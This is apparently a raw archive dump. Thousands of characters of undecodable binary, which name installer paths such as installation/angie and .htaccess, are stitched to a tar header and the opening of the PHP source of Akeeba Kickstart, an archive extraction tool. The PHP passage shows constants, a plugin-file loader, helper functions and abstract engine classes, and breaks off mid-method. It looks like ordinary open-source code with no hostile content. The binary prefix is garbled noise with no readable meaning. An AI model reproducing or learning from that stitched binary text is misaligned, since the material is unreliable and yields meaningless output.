|��m��2s��a�a�i�i�QAEzjⶢ�/�
��w�X�Dq��15���1�I���<5���ؔ�ki�d�4�
0��Y�j��k"����N&��‘�x��%�Ԝ*�|�sNŜ��E��ɓťn���P�V@��E��,���N��R<2�|�G[�a�$���o�XW��t���\���*��ZUeMu���ס��4؟�L��Y0����R��b%���y%
�F.*�Q�#s�п<�a(�1�N?۲�e���H��,s���%3�ԑ����G'R��*�׉y�P=�p�����r�Uw�� q	Oi!����Q��<_:���s~�L4��(Ī<�^�����<7C��w
8�IC����g�s�s��i�Q��ob���o�=6@�uـ�5�d��ū�FV��`����?�FS[l�i�'��d�>[��U��A���e�:	�V��E	̝�x�k��"���HN��c�l��2���_[U>qC�! �O�o�_��|���sw��@d7v�a��d�;��u�$�Y�E�}L���q�N���T��? v>~�=�~�MI��Zz[�l�����-J��Byj��l~���m�;`9�(�S��%7P�:e��0���Ξ:y��C�@uJf�}x�����1���.�9PB���d�^���=�����-5����U�-�NH_��&�K����<
�v����C�B��KH�oy�<f��n���g����q+zx��
i?Ki����Uk�/͋]�=�rң
���*l�[��c���G�K|
�:	v�P�m8ϕ��G�Y��DRMc�)�]3L��/�or|�Or9��R�t/��چ}Յ�zv:�}9-��9����S돘�1�R��M�
�qu��Š;�Ů�م��H*K�p��iF�6bg��g/._�9��:�����(��K{<)�6Sl;��J�U%u���~LJ=mg�X��T����zs]�ZF���8��9+R�=h-��7W�1��s��T�)i�Ex3�V�,�E,�^�g��d1\��sQT�����xZ��.c��\8XحCz䞝9�@]]���=N2�q�:%y���3?}��a���#�,�(�s��^S��"�B�����;���;���@_e�]X	|��ո�
9*��Ӹ�]H�ȑ	���ڒ|��u��2�
�҉@�[C���b���I�Z��C?�X-��ʛ�Z�t�'Bm.,t`��Q���#�fH�!��kI>�)�����}4O�BX�|�q��u*
�4��7#�K2�{"NNqc$}�Ⱥl��?���Qh=b�~��P�j��_cWB�u_��_$�>ܽ��$&�4�6kx��C�~t1�:_b��(�K�+�T��"�z¯�#�SؑS��*�\�j����^��Z#�(x�-G+�=Vi*v��L��˾ʡuE�C�r�G��ūf�)��
��R��E�내
9��D�#3T�&!_���~Jv�8	]�|y��5�N?��zG4�D���e��y^K��QQo)��Vu�����T��ŏ�I�r����2"�2٦���x�ӭ2�!$�ybC^�7�/O���澡�W����l�|G�R?���?	!����ֳ{%�*�C�v���3�D�V�9|"��Y(��
��6����V���N�p���|�%��of
�|�D_9"�m����BG�Ж��)�o�d����M�	3��z��I%��GyH��b�"zY""c+?��J4n���b�9WZ�1ّc�ŗ<��w���3�X�hA�%-6�w%���؅2�g�O�C���3�
���j���l��B�_��"�P��b�a�Ԇ�maa:!Bt
]�i
f�N&@������.��?��C����ӷ�����N...�}v�Q�d�����A���3�ڷ#VCj皺Ӭ:�oP���z�m�{H��Z�jiY�����:��S�L�2dʂ
��Ss��,z睞\�<?�:�]<��]���lF�eIjK�*=�Z�a�f�o��.@nuKEg�;i|�n�4�5�$"��'�M�)ւ�M/�4(y(7V|�%��>9r��W�iB)jt#$&�y��i�����
��Wբ�d��%a�6�(����c�zT�Nwt�wS4�[�k��c�8�G
��Ů�9Ճ�� ��+-�lj�
9{�_Л�����E��\�2��quuQ�?O��+�״�ή߽�]�<?���|���P���|}�
�]ud~h%sr��H]��J�i+�����oϮί%c�V�#Ͳ,�p]�d!%�����l��K�V����JPF6!installation/angie/autoloader.php�h���U�o�6�_qAH
�K����27M��i�5�dM�,�4��#���ߑ���n@�`D��>x<�]4u�L��8�����o5���u�0'�ˍhT���o�^�g��
2�%�70["���"Tٯ<h�	#����.[ ,�5�������_��������)�	^k�,��["����^j��֕���
���~�kTh��{?�
��6��ؠ�t$I�Cɓ$)�
�,-fﯮ���<���u�T^��G��;R�J4�!'z�Pl�y�OB�`���0��3W�9(/%
ۓI�zN6���Z��$��5{ߡ�%�Ў`��8S���\�@�r�(�C�]º�%y�Hld�6�6�8KD���6R�,}�]���g珳�?��W�v�l	`K�E�!D��Q�,�e+��E��h��'88�4F�y�l
�7�u��<]zcP9�	��y	�[�A+
M��V�5�rFKI;�.Qھ��^�%�闎S��<�� ��s��D�p���`f�+�d�u&P^�	ƶ�:O	�@�"�v}�4j���*(3]
i�çO]�Ǔ�ڠ��}@t;�cM�I��jC���m�	:~j�l��>��]oo>�>�H�jŪ�BU9���+�����ʆ�����o���a�!�G��6��Ç��X4-�-�q:I����'Z^ƽ�vJKc��bA|��l[�+o��җXh�q�EoD�|��A���	�@?mz����0r
�e҄��E�d lwc5�^��[3L�uMc5�_j�y��mI��0֍��A�>�b`�~��?y~���$n)�����(�ii�_�Y�N�����F�A��^86AG�v������(ۡ��ٷ�fI������xH��@9��ָ�[�9�Ȧ�� ҅�a:�T�JPF0installation/tmp/index.html�L��=O]K�0|���WzOB)���(���tm��nI҃��o7��>�����N~'�5��W��+�4��@p�;w�ʙ>�j��C�6�P�d�������8,��Y�O�<�܌v}�eK@���fPq?:���w��4}Y�mQ��J��'�ğF�=�=6��)4�1ku~r(�o�ԑ�C	��B�Oٶ���l��E��:��"�$�"&X*��Zg��f��Rn�?JPF0installation/tmp/web.configr��������Q(K-*��ϳU2�3PRH�K�O��K�U*-IӵPR���I��K�L/-J,*��R�����\���$�X0��$#�(�
I!\.%5�R��h�����>�.},�l�-��GuJPF/installation/tmp/.htaccessh�����L��O)�IUP��O�O,-ɨ�O�/J�K���/JI-RHIͫ�I���/�r2Ҋ�s�|.}�f;.�9��((���f�:�䀸

P>�����) U��ʐLJPF&installation/sql/�Acom_akeeba/Master/Installers/kickstart.txt000060400001365571152455305260014752 0ustar00<?php
/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Uncomment the following line to enable Kickstart's debug mode
//define('KSDEBUG', 1);

// =====================================================================================================================
// DO NOT MODIFY BELOW THIS LINE
// =====================================================================================================================
define('KICKSTART', 1);

define('KICKSTART_MIN_PHP', '5.6.0');
define('KICKSTART_RECOMMENDED_PHP', '7.4.0');

if (!defined('VERSION'))
{
	define('VERSION', '8.0.2-dev202307211217-revb86be29');
}

if (!defined('KICKSTARTPRO'))
{
	define('KICKSTARTPRO', '0');
}

// Used during development
if (!defined('KSDEBUG') && isset($_SERVER) && isset($_SERVER['HTTP_HOST']) && (strpos($_SERVER['HTTP_HOST'], 'local.web') !== false))
{
	define('KSDEBUG', 1);
}

define('KSWINDOWS', substr(PHP_OS, 0, 3) == 'WIN');

if (!defined('KSROOTDIR'))
{
	define('KSROOTDIR', dirname(__FILE__));
}

if (defined('KSDEBUG'))
{
	ini_set('error_log', KSROOTDIR . '/kickstart_error_log');
	if (file_exists(KSROOTDIR . '/kickstart_error_log'))
	{
		@unlink(KSROOTDIR . '/kickstart_error_log');
	}
	error_reporting(E_ALL | E_STRICT);
}
else
{
	@error_reporting(0);
}

// ==========================================================================================
// IIS missing REQUEST_URI workaround
// ==========================================================================================

/*
 * Based REQUEST_URI for IIS Servers 1.0 by NeoSmart Technologies
 * The proper method to solve IIS problems is to take a look at this:
 * http://neosmart.net/dl.php?id=7
 */

//This file should be located in the same directory as php.exe or php5isapi.dll

if (!isset($_SERVER['REQUEST_URI']))
{
	if (isset($_SERVER['HTTP_REQUEST_URI']))
	{
		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_REQUEST_URI'];
		//Good to go!
	}
	else
	{
		//Someone didn't follow the instructions!
		if (isset($_SERVER['SCRIPT_NAME']))
		{
			$_SERVER['HTTP_REQUEST_URI'] = $_SERVER['SCRIPT_NAME'];
		}
		else
		{
			$_SERVER['HTTP_REQUEST_URI'] = $_SERVER['PHP_SELF'];
		}
		if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING']))
		{
			$_SERVER['HTTP_REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
		}
		//WARNING: This is a workaround!
		//For guaranteed compatibility, HTTP_REQUEST_URI *MUST* be defined!
		//See product documentation for instructions!
		$_SERVER['REQUEST_URI'] = $_SERVER['HTTP_REQUEST_URI'];
	}
}

// Define the cacert.pem location, if it exists
$cacertpem = KSROOTDIR . '/cacert.pem';
if (is_file($cacertpem))
{
	if (is_readable($cacertpem))
	{
		define('AKEEBA_CACERT_PEM', $cacertpem);
	}
}
unset($cacertpem);

/**
 * Loads other PHP files containing extra Kickstart features. You can do all sorts of tricks such as injecting HTML
 * and CSS code (see AKFeatureGeorgeWSpecialEdition), adding AJAX task handlers (see AKFeatureURLImport) etc.
 *
 * Feature files must follow one of the following naming conventions:
 *
 * - kickstart.SOMETHING.php
 * - script_basename.SOMETHING.php
 *
 * where script_basename is the base name of Kickstart's PHP file. If you have renamed kickstart.php to foobar.php this
 * means that feature files must be named foobar.SOMETHING.php.
 *
 * The file must contain a class whose name starts with "AKFeature". The rest of the name is irrelevant and does not
 * have to follow a convention. It is, however, prudent to name the class using something similar to the filename it is
 * stored in to preserve your sanity and avoid potential conflicts.
 *
 * The class is instantiated ONLY ONCE, when the first call to callExtraFeature() is made. Its methods are called using
 * callExtraFeature() from Kickstart's (non-user-modifiable) code.
 */
function importKickstartFeatures($directory, $prefixes = array('kickstart'))
{
	$dh = @opendir($directory);

	if ($dh === false)
	{
		return;
	}

	// Make sure the prefixes include 'kickstart' and our basename
	if (!in_array('kickstart', $prefixes))
	{
		$prefixes[] = 'kickstart';
	}

	$selfBasename = basename(defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__), '.php');

	if (!in_array($selfBasename, $prefixes))
	{
		$prefixes[] = $selfBasename;
	}

	// Loop all files in the directory
	while ($filename = readdir($dh))
	{
		if (in_array($filename, array('.', '..')))
		{
			continue;
		}

		if (!is_file($directory . '/' . $filename))
		{
			continue;
		}

		// Feature files must be prefixed with one of the prefixes.
		$found = false;

		foreach ($prefixes as $prefix)
		{
			if (substr($filename, 0, strlen($prefix) + 1) == ($prefix . '.'))
			{
				$found = true;
				break;
			}
		}

		if (!$found)
		{
			continue;
		}

		if (substr($filename, -4) != '.php')
		{
			continue;
		}

		/**
		 * We have to ignore files which are just the prefix and a .php extension (because one of these scripts is the
		 * currently executing script).
		 */
		foreach ($prefixes as $prefix)
		{
			if ($filename == ($prefix . '.php'))
			{
				continue 2;
			}
		}

		// Op-code busting before loading the feature (in case it's self-modifying)
		if (function_exists('opcache_invalidate'))
		{
			opcache_invalidate($directory . '/' . $filename, true);
		}

		if (function_exists('apc_compile_file'))
		{
			apc_compile_file($directory . '/' . $filename);
		}

		if (function_exists('wincache_refresh_if_changed'))
		{
			wincache_refresh_if_changed(array($directory . '/' . $filename));
		}

		if (function_exists('xcache_asm'))
		{
			xcache_asm($directory . '/' . $filename);
		}

		include_once $directory . '/' . $filename;
	}
}

// Import Kickstart features from the top level directory
importKickstartFeatures(KSROOTDIR);

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

define('_AKEEBA_RESTORATION', 1);
defined('DS') or define('DS', DIRECTORY_SEPARATOR);

// Unarchiver run states
define('AK_STATE_NOFILE', 0); // File header not read yet
define('AK_STATE_HEADER', 1); // File header read; ready to process data
define('AK_STATE_DATA', 2); // Processing file data
define('AK_STATE_DATAREAD', 3); // Finished processing file data; ready to post-process
define('AK_STATE_POSTPROC', 4); // Post-processing
define('AK_STATE_DONE', 5); // Done with post-processing

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	if (function_exists('php_uname'))
	{
		define('_AKEEBA_IS_WINDOWS', stristr(php_uname(), 'windows'));
	}
	else
	{
		define('_AKEEBA_IS_WINDOWS', DIRECTORY_SEPARATOR == '\\');
	}
}

// Get the file's root
if (!defined('KSROOTDIR'))
{
	define('KSROOTDIR', dirname(__FILE__));
}
if (!defined('KSLANGDIR'))
{
	define('KSLANGDIR', KSROOTDIR);
}

// Make sure the locale is correct for basename() to work
if (function_exists('setlocale'))
{
	@setlocale(LC_ALL, 'en_US.UTF8');
}

// fnmatch not available on non-POSIX systems
// Thanks to soywiz@php.net for this usefull alternative function [http://gr2.php.net/fnmatch]
if (!function_exists('fnmatch'))
{
	function fnmatch($pattern, $string)
	{
		return @preg_match(
			'/^' . strtr(addcslashes($pattern, '/\\.+^$(){}=!<>|'),
				array('*' => '.*', '?' => '.?')) . '$/i', $string
		);
	}
}

// Unicode-safe binary data length function
if (!function_exists('akstringlen'))
{
	if (function_exists('mb_strlen'))
	{
		function akstringlen($string)
		{
			return mb_strlen($string, '8bit');
		}
	}
	else
	{
		function akstringlen($string)
		{
			return strlen($string);
		}
	}
}

if (!function_exists('aksubstr'))
{
	if (function_exists('mb_strlen'))
	{
		function aksubstr($string, $start, $length = null)
		{
			return mb_substr($string, $start, $length, '8bit');
		}
	}
	else
	{
		function aksubstr($string, $start, $length = null)
		{
			return substr($string, $start, $length);
		}
	}
}

/**
 * Gets a query parameter from GET or POST data
 *
 * @param $key
 * @param $default
 */
function getQueryParam($key, $default = null)
{
	$value = $default;

	if (array_key_exists($key, $_REQUEST))
	{
		$value = $_REQUEST[$key];
	}

	if (version_compare(PHP_VERSION, '5.4.0', 'lt') && get_magic_quotes_gpc() && !is_null($value))
	{
		$value = stripslashes($value);
	}

	return $value;
}

// Debugging function
function debugMsg($msg)
{
	if (!defined('KSDEBUG'))
	{
		return;
	}

	$fp = fopen('debug.txt', 'a');

	fwrite($fp, $msg . PHP_EOL);
	fclose($fp);

	// Echo to stdout if KSDEBUGCLI is defined
	if (defined('KSDEBUGCLI'))
	{
		echo $msg . "\n";
	}
}

/**
 * Invalidate a file in OPcache.
 *
 * Only applies if the file has a .php extension.
 *
 * @param   string  $file  The filepath to clear from OPcache
 *
 * @return  boolean
 * @since   7.1.0
 */
function clearFileInOPCache($file)
{
	static $hasOpCache = null;

	if (is_null($hasOpCache))
	{
		$hasOpCache = ini_get('opcache.enable')
			&& function_exists('opcache_invalidate')
			&& (!ini_get('opcache.restrict_api') || stripos(realpath($_SERVER['SCRIPT_FILENAME']), ini_get('opcache.restrict_api')) === 0);
	}

	if ($hasOpCache && (strtolower(substr($file, -4)) === '.php'))
	{
		return opcache_invalidate($file, true);
	}

	return false;
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The base class of Akeeba Engine objects. Allows for error and warnings logging
 * and propagation. Largely based on the Joomla! 1.5 JObject class.
 */
abstract class AKAbstractObject
{
	/** @var    array    The queue size of the $_errors array. Set to 0 for infinite size. */
	protected $_errors_queue_size = 0;
	/** @var    array    The queue size of the $_warnings array. Set to 0 for infinite size. */
	protected $_warnings_queue_size = 0;
	/** @var    array    An array of errors */
	private $_errors = array();
	/** @var    array    An array of warnings */
	private $_warnings = array();

	/**
	 * Get the most recent error message
	 *
	 * @param    integer $i Optional error index
	 *
	 * @return    string    Error message
	 */
	public function getError($i = null)
	{
		return $this->getItemFromArray($this->_errors, $i);
	}

	/**
	 * Returns the last item of a LIFO string message queue, or a specific item
	 * if so specified.
	 *
	 * @param array $array An array of strings, holding messages
	 * @param int   $i     Optional message index
	 *
	 * @return mixed The message string, or false if the key doesn't exist
	 */
	private function getItemFromArray($array, $i = null)
	{
		// Find the item
		if ($i === null)
		{
			// Default, return the last item
			$item = end($array);
		}
		else if (!array_key_exists($i, $array))
		{
			// If $i has been specified but does not exist, return false
			return false;
		}
		else
		{
			$item = $array[$i];
		}

		return $item;
	}

	/**
	 * Return all errors, if any
	 *
	 * @return    array    Array of error messages
	 */
	public function getErrors()
	{
		return $this->_errors;
	}

	/**
	 * Resets all error messages
	 */
	public function resetErrors()
	{
		$this->_errors = array();
	}

	/**
	 * Get the most recent warning message
	 *
	 * @param    integer $i Optional warning index
	 *
	 * @return    string    Error message
	 */
	public function getWarning($i = null)
	{
		return $this->getItemFromArray($this->_warnings, $i);
	}

	/**
	 * Return all warnings, if any
	 *
	 * @return    array    Array of error messages
	 */
	public function getWarnings()
	{
		return $this->_warnings;
	}

	/**
	 * Resets all warning messages
	 */
	public function resetWarnings()
	{
		$this->_warnings = array();
	}

	/**
	 * Propagates errors and warnings to a foreign object. The foreign object SHOULD
	 * implement the setError() and/or setWarning() methods but DOESN'T HAVE TO be of
	 * AKAbstractObject type. For example, this can even be used to propagate to a
	 * JObject instance in Joomla!. Propagated items will be removed from ourselves.
	 *
	 * @param object $object The object to propagate errors and warnings to.
	 */
	public function propagateToObject(&$object)
	{
		// Skip non-objects
		if (!is_object($object))
		{
			return;
		}

		if (method_exists($object, 'setError'))
		{
			if (!empty($this->_errors))
			{
				foreach ($this->_errors as $error)
				{
					$object->setError($error);
				}
				$this->_errors = array();
			}
		}

		if (method_exists($object, 'setWarning'))
		{
			if (!empty($this->_warnings))
			{
				foreach ($this->_warnings as $warning)
				{
					$object->setWarning($warning);
				}
				$this->_warnings = array();
			}
		}
	}

	/**
	 * Propagates errors and warnings from a foreign object. Each propagated list is
	 * then cleared on the foreign object, as long as it implements resetErrors() and/or
	 * resetWarnings() methods.
	 *
	 * @param object $object The object to propagate errors and warnings from
	 */
	public function propagateFromObject(&$object)
	{
		if (method_exists($object, 'getErrors'))
		{
			$errors = $object->getErrors();
			if (!empty($errors))
			{
				foreach ($errors as $error)
				{
					$this->setError($error);
				}
			}
			if (method_exists($object, 'resetErrors'))
			{
				$object->resetErrors();
			}
		}

		if (method_exists($object, 'getWarnings'))
		{
			$warnings = $object->getWarnings();
			if (!empty($warnings))
			{
				foreach ($warnings as $warning)
				{
					$this->setWarning($warning);
				}
			}
			if (method_exists($object, 'resetWarnings'))
			{
				$object->resetWarnings();
			}
		}
	}

	/**
	 * Add an error message
	 *
	 * @param    string $error Error message
	 */
	public function setError($error)
	{
		if ($this->_errors_queue_size > 0)
		{
			if (count($this->_errors) >= $this->_errors_queue_size)
			{
				array_shift($this->_errors);
			}
		}

		$this->_errors[] = $error;
	}

	/**
	 * Add an error message
	 *
	 * @param    string $error Error message
	 */
	public function setWarning($warning)
	{
		if ($this->_warnings_queue_size > 0)
		{
			if (count($this->_warnings) >= $this->_warnings_queue_size)
			{
				array_shift($this->_warnings);
			}
		}

		$this->_warnings[] = $warning;
	}

	/**
	 * Sets the size of the error queue (acts like a LIFO buffer)
	 *
	 * @param int $newSize The new queue size. Set to 0 for infinite length.
	 */
	protected function setErrorsQueueSize($newSize = 0)
	{
		$this->_errors_queue_size = (int) $newSize;
	}

	/**
	 * Sets the size of the warnings queue (acts like a LIFO buffer)
	 *
	 * @param int $newSize The new queue size. Set to 0 for infinite length.
	 */
	protected function setWarningsQueueSize($newSize = 0)
	{
		$this->_warnings_queue_size = (int) $newSize;
	}

}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The superclass of all Akeeba Kickstart parts. The "parts" are intelligent stateful
 * classes which perform a single procedure and have preparation, running and
 * finalization phases. The transition between phases is handled automatically by
 * this superclass' tick() final public method, which should be the ONLY public API
 * exposed to the rest of the Akeeba Engine.
 */
abstract class AKAbstractPart extends AKAbstractObject
{
	/**
	 * Indicates whether this part has finished its initialisation cycle
	 *
	 * @var boolean
	 */
	protected $isPrepared = false;

	/**
	 * Indicates whether this part has more work to do (it's in running state)
	 *
	 * @var boolean
	 */
	protected $isRunning = false;

	/**
	 * Indicates whether this part has finished its finalization cycle
	 *
	 * @var boolean
	 */
	protected $isFinished = false;

	/**
	 * Indicates whether this part has finished its run cycle
	 *
	 * @var boolean
	 */
	protected $hasRun = false;

	/**
	 * The name of the engine part (a.k.a. Domain), used in return table
	 * generation.
	 *
	 * @var string
	 */
	protected $active_domain = "";

	/**
	 * The step this engine part is in. Used verbatim in return table and
	 * should be set by the code in the _run() method.
	 *
	 * @var string
	 */
	protected $active_step = "";

	/**
	 * A more detailed description of the step this engine part is in. Used
	 * verbatim in return table and should be set by the code in the _run()
	 * method.
	 *
	 * @var string
	 */
	protected $active_substep = "";

	/**
	 * Any configuration variables, in the form of an array.
	 *
	 * @var array
	 */
	protected $_parametersArray = array();

	/** @var string The database root key */
	protected $databaseRoot = array();
	/** @var array An array of observers */
	protected $observers = array();
	/** @var int Last reported warnings's position in array */
	private $warnings_pointer = -1;

	/**
	 * The public interface to an engine part. This method takes care for
	 * calling the correct method in order to perform the initialisation -
	 * run - finalisation cycle of operation and return a proper response array.
	 *
	 * @return    array    A Response Array
	 */
	final public function tick()
	{
		// Call the right action method, depending on engine part state
		switch ($this->getState())
		{
			case "init":
				$this->_prepare();
				break;
			case "prepared":
				$this->_run();
				break;
			case "running":
				$this->_run();
				break;
			case "postrun":
				$this->_finalize();
				break;
		}

		// Send a Return Table back to the caller
		$out = $this->_makeReturnTable();

		return $out;
	}

	/**
	 * Returns the state of this engine part.
	 *
	 * @return string The state of this engine part. It can be one of
	 * error, init, prepared, running, postrun, finished.
	 */
	final public function getState()
	{
		if ($this->getError())
		{
			return "error";
		}

		if (!($this->isPrepared))
		{
			return "init";
		}

		if (!($this->isFinished) && !($this->isRunning) && !($this->hasRun) && ($this->isPrepared))
		{
			return "prepared";
		}

		if (!($this->isFinished) && $this->isRunning && !($this->hasRun))
		{
			return "running";
		}

		if (!($this->isFinished) && !($this->isRunning) && $this->hasRun)
		{
			return "postrun";
		}

		if ($this->isFinished)
		{
			return "finished";
		}
	}

	/**
	 * Runs the preparation for this part. Should set _isPrepared
	 * to true
	 */
	abstract protected function _prepare();

	/**
	 * Runs the main functionality loop for this part. Upon calling,
	 * should set the _isRunning to true. When it finished, should set
	 * the _hasRan to true. If an error is encountered, setError should
	 * be used.
	 */
	abstract protected function _run();

	/**
	 * Runs the finalisation process for this part. Should set
	 * _isFinished to true.
	 */
	abstract protected function _finalize();

	/**
	 * Constructs a Response Array based on the engine part's state.
	 *
	 * @return array The Response Array for the current state
	 */
	final protected function _makeReturnTable()
	{
		// Get a list of warnings
		$warnings = $this->getWarnings();
		// Report only new warnings if there is no warnings queue size
		if ($this->_warnings_queue_size == 0)
		{
			if (($this->warnings_pointer > 0) && ($this->warnings_pointer < (count($warnings))))
			{
				$warnings = array_slice($warnings, $this->warnings_pointer + 1);
				$this->warnings_pointer += count($warnings);
			}
			else
			{
				$this->warnings_pointer = count($warnings);
			}
		}

		$out = array(
			'HasRun'   => (!($this->isFinished)),
			'Domain'   => $this->active_domain,
			'Step'     => $this->active_step,
			'Substep'  => $this->active_substep,
			'Error'    => $this->getError(),
			'Warnings' => $warnings
		);

		return $out;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return array
	 */
	public function getStatusArray()
	{
		return $this->_makeReturnTable();
	}

	/**
	 * Sends any kind of setup information to the engine part. Using this,
	 * we avoid passing parameters to the constructor of the class. These
	 * parameters should be passed as an indexed array and should be taken
	 * into account during the preparation process only. This function will
	 * set the error flag if it's called after the engine part is prepared.
	 *
	 * @param array $parametersArray The parameters to be passed to the
	 *                               engine part.
	 */
	final public function setup($parametersArray)
	{
		if ($this->isPrepared)
		{
			$this->setState('error', "Can't modify configuration after the preparation of " . $this->active_domain);
		}
		else
		{
			$this->_parametersArray = $parametersArray;
			if (array_key_exists('root', $parametersArray))
			{
				$this->databaseRoot = $parametersArray['root'];
			}
		}
	}

	/**
	 * Sets the engine part's internal state, in an easy to use manner
	 *
	 * @param    string $state        One of init, prepared, running, postrun, finished, error
	 * @param    string $errorMessage The reported error message, should the state be set to error
	 */
	protected function setState($state = 'init', $errorMessage = 'Invalid setState argument')
	{
		switch ($state)
		{
			case 'init':
				$this->isPrepared = false;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'prepared':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'running':
				$this->isPrepared = true;
				$this->isRunning  = true;
				$this->isFinished = false;
				$this->hasRun     = false;
				break;

			case 'postrun':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = false;
				$this->hasRun     = true;
				break;

			case 'finished':
				$this->isPrepared = true;
				$this->isRunning  = false;
				$this->isFinished = true;
				$this->hasRun     = false;
				break;

			case 'error':
			default:
				$this->setError($errorMessage);
				break;
		}
	}

	final public function getDomain()
	{
		return $this->active_domain;
	}

	final public function getStep()
	{
		return $this->active_step;
	}

	final public function getSubstep()
	{
		return $this->active_substep;
	}

	/**
	 * Attaches an observer object
	 *
	 * @param AKAbstractPartObserver $obs
	 */
	function attach(AKAbstractPartObserver $obs)
	{
		$this->observers["$obs"] = $obs;
	}

	/**
	 * Detaches an observer object
	 *
	 * @param AKAbstractPartObserver $obs
	 */
	function detach(AKAbstractPartObserver $obs)
	{
		unset($this->observers["$obs"]);
	}

	/**
	 * Sets the BREAKFLAG, which instructs this engine part that the current step must break immediately,
	 * in fear of timing out.
	 */
	protected function setBreakFlag()
	{
		AKFactory::set('volatile.breakflag', true);
	}

	final protected function setDomain($new_domain)
	{
		$this->active_domain = $new_domain;
	}

	final protected function setStep($new_step)
	{
		$this->active_step = $new_step;
	}

	final protected function setSubstep($new_substep)
	{
		$this->active_substep = $new_substep;
	}

	/**
	 * Notifies observers each time something interesting happened to the part
	 *
	 * @param mixed $message The event object
	 */
	protected function notify($message)
	{
		foreach ($this->observers as $obs)
		{
			$obs->update($this, $message);
		}
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The base class of unarchiver classes
 */
abstract class AKAbstractUnarchiver extends AKAbstractPart
{
	/** @var array List of the names of all archive parts */
	public $archiveList = array();
	/** @var int The total size of all archive parts */
	public $totalSize = array();
	/** @var array Which files to rename */
	public $renameFiles = array();
	/** @var array Which directories to rename */
	public $renameDirs = array();
	/** @var array Which files to skip */
	public $skipFiles = array();
	/** @var string Archive filename */
	protected $filename = null;
	/** @var integer Current archive part number */
	protected $currentPartNumber = -1;
	/** @var integer The offset inside the current part */
	protected $currentPartOffset = 0;
	/** @var bool Should I restore permissions? */
	protected $flagRestorePermissions = false;
	/** @var AKAbstractPostproc Post processing class */
	protected $postProcEngine = null;
	/** @var string Absolute path to prepend to extracted files */
	protected $addPath = '';
	/** @var string Absolute path to remove from extracted files */
	protected $removePath = '';
	/** @var integer Chunk size for processing */
	protected $chunkSize = 524288;

	/** @var resource File pointer to the current archive part file */
	protected $fp = null;

	/** @var int Run state when processing the current archive file */
	protected $runState = null;

	/** @var stdClass File header data, as read by the readFileHeader() method */
	protected $fileHeader = null;

	/** @var int How much of the uncompressed data we've read so far */
	protected $dataReadLength = 0;

	/** @var array Unwriteable files in these directories are always ignored and do not cause errors when not extracted */
	protected $ignoreDirectories = array();

	/**
	 * Wakeup function, called whenever the class is unserialized
	 */
	public function __wakeup()
	{
		if ($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'r');

			if ((is_resource($this->fp)) && ($this->currentPartOffset > 0))
			{
				@fseek($this->fp, $this->currentPartOffset);
			}
		}
	}

	/**
	 * Sleep function, called whenever the class is serialized
	 */
	public function shutdown()
	{
		if (is_resource($this->fp))
		{
			$this->currentPartOffset = @ftell($this->fp);
			@fclose($this->fp);
		}
	}

	/**
	 * Is this file or directory contained in a directory we've decided to ignore
	 * write errors for? This is useful to let the extraction work despite write
	 * errors in the log, logs and tmp directories which MIGHT be used by the system
	 * on some low quality hosts and Plesk-powered hosts.
	 *
	 * @param   string $shortFilename The relative path of the file/directory in the package
	 *
	 * @return  boolean  True if it belongs in an ignored directory
	 */
	public function isIgnoredDirectory($shortFilename)
	{
		// return false;

		if (substr($shortFilename, -1) == '/')
		{
			$check = rtrim($shortFilename, '/');
		}
		else
		{
			$check = dirname($shortFilename);
		}

		return in_array($check, $this->ignoreDirectories);
	}

	/**
	 * Implements the abstract _prepare() method
	 */
	final protected function _prepare()
	{
		if (count($this->_parametersArray) > 0)
		{
			foreach ($this->_parametersArray as $key => $value)
			{
				switch ($key)
				{
					// Archive's absolute filename
					case 'filename':
						$this->filename = $value;

						// Sanity check
						if (!empty($value))
						{
							$value = strtolower($value);

							if (strlen($value) > 6)
							{
								if (
									(substr($value, 0, 7) == 'http://')
									|| (substr($value, 0, 8) == 'https://')
									|| (substr($value, 0, 6) == 'ftp://')
									|| (substr($value, 0, 7) == 'ssh2://')
									|| (substr($value, 0, 6) == 'ssl://')
								)
								{
									$this->setState('error', 'Invalid archive location');
								}
							}
						}


						break;

					// Should I restore permissions?
					case 'restore_permissions':
						$this->flagRestorePermissions = $value;
						break;

					// Should I use FTP?
					case 'post_proc':
						$this->postProcEngine = AKFactory::getpostProc($value);
						break;

					// Path to add in the beginning
					case 'add_path':
						$this->addPath = $value;
						$this->addPath = str_replace('\\', '/', $this->addPath);
						$this->addPath = rtrim($this->addPath, '/');
						if (!empty($this->addPath))
						{
							$this->addPath .= '/';
						}
						break;

					// Path to remove from the beginning
